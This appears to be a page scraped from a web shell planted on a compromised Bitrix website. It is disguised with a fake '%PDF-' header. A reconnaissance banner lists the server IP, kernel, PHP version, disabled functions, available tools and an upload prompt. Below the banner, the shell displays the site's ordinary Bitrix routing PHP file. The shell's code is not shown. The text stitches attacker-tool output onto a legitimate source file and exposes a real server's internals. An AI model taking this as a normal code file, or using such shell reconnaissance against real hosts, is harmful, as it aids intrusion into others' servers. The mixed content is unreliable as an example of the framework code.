%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.7.151 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/include/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage main * @copyright 2001-2020 Bitrix */ use Bitrix\Main\Context; use Bitrix\Main\Engine\Action; use Bitrix\Main\Engine\AutoWire\Parameter; use Bitrix\Main\Engine\Contract\RoutableAction; use Bitrix\Main\Engine\Response\Json; use Bitrix\Main\Loader; use Bitrix\Main\Routing\CompileCache; use Bitrix\Main\Routing\Controllers\PublicPageController; use Bitrix\Main\Routing\Router; use Bitrix\Main\Routing\RoutingConfigurator; use Bitrix\Main\SystemException; require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/start.php"); $application = \Bitrix\Main\Application::getInstance(); $application->initializeExtendedKernel(array( "get" => $_GET, "post" => $_POST, "files" => $_FILES, "cookie" => $_COOKIE, "server" => $_SERVER, "env" => $_ENV )); $request = \Bitrix\Main\Application::getInstance()->getContext()->getRequest(); $routes = new RoutingConfigurator; $router = new Router; $routes->setRouter($router); $application->setRouter($router); // files with routes $files = []; // user files $routingConfig = \Bitrix\Main\Config\Configuration::getInstance()->get('routing'); if (!empty($routingConfig['config'])) { $fileNames = $routingConfig['config']; foreach ($fileNames as $fileName) { foreach (['local', 'bitrix'] as $vendor) { if (file_exists($_SERVER["DOCUMENT_ROOT"].'/'.$vendor.'/routes/'.basename($fileName))) { $files[] = $_SERVER["DOCUMENT_ROOT"].'/'.$vendor.'/routes/'.basename($fileName); } } } } // system files if (file_exists($_SERVER["DOCUMENT_ROOT"].'/bitrix/routes/web_bitrix.php')) { $files[] = $_SERVER["DOCUMENT_ROOT"].'/bitrix/routes/web_bitrix.php'; } foreach ($files as $file) { $callback = include $file; $callback($routes); } $router->releaseRoutes(); // cache for route compiled data CompileCache::handle($files, $router); // match request $request = Context::getCurrent()->getRequest(); $route = $router->match($request); if (!empty($route)) { $application->setCurrentRoute($route); // copy route parameters to the request if ($route->getParametersValues()) { foreach ($route->getParametersValues()->getValues() as $name => $value) { $_GET[$name] = $value; $_REQUEST[$name] = $value; $request->set($name, $value); $request->getQueryList()->set($name, $value); } } $controller = $route->getController(); if ($controller instanceof PublicPageController) { include_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/virtual_io.php"); $io = CBXVirtualIo::GetInstance(); $_SERVER["REAL_FILE_PATH"] = $controller->getPath(); Context::getCurrent()->getServer()->set('REAL_FILE_PATH', $controller->getPath()); include_once($io->GetPhysicalName($_SERVER['DOCUMENT_ROOT'].$controller->getPath())); die; } elseif ($controller instanceof \Closure) { $b = \Bitrix\Main\Engine\AutoWire\Binder::buildForFunction($controller); // pass current route $b->appendAutoWiredParameter(new Parameter( \Bitrix\Main\Routing\Route::class, function () use ($route) { return $route; } )); // pass request $b->appendAutoWiredParameter(new Parameter( \Bitrix\Main\HttpRequest::class, function () use ($request) { return $request; } )); // pass named parameters $b->setSourcesParametersToMap([ $route->getParametersValues()->getValues() ]); // init kernel require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php"); // call $result = $b->invoke(); // send response if ($result !== null) { if ($result instanceof \Bitrix\Main\HttpResponse) { // ready response $response = $result; } elseif (is_array($result)) { // json $response = new Json($result); } else { // string $response = new \Bitrix\Main\HttpResponse; $response->setContent($result); } $application->getContext()->setResponse($response); $response->send(); } // terminate app $application->terminate(0); } elseif (is_array($controller)) { require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php"); // classic controller list($controllerClass, $actionName) = $controller; Loader::requireClass($controllerClass); if (is_subclass_of($controllerClass, \Bitrix\Main\Engine\Controller::class)) { if (substr($actionName, -6) == 'Action') { $actionName = substr($actionName, 0, -6); } /** @var \Bitrix\Main\HttpApplication $app */ $app = \Bitrix\Main\Application::getInstance(); $app->runController($controllerClass, $actionName); } } elseif (is_string($controller)) { require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php"); // actually action could be attached to a few controllers // but what if action was made for the one controller only // then it could be used in routing $actionClass = $controller; Loader::requireClass($actionClass); if (is_subclass_of($controller, Action::class)) { if (is_subclass_of($actionClass, RoutableAction::class)) { /** @var RoutableAction $actionClass */ $controllerClass = $actionClass::getControllerClass(); $actionName = $actionClass::getDefaultName(); /** @var \Bitrix\Main\HttpApplication $app */ $app = \Bitrix\Main\Application::getInstance(); $app->runController($controllerClass, $actionName); } else { throw new SystemException(sprintf( 'Action `%s` should implement %s interface for being called in routing', $actionClass, RoutableAction::class )); } } } throw new SystemException(sprintf( 'Unknown controller `%s`', $controller )); } else { require_once __DIR__.'/urlrewrite.php'; }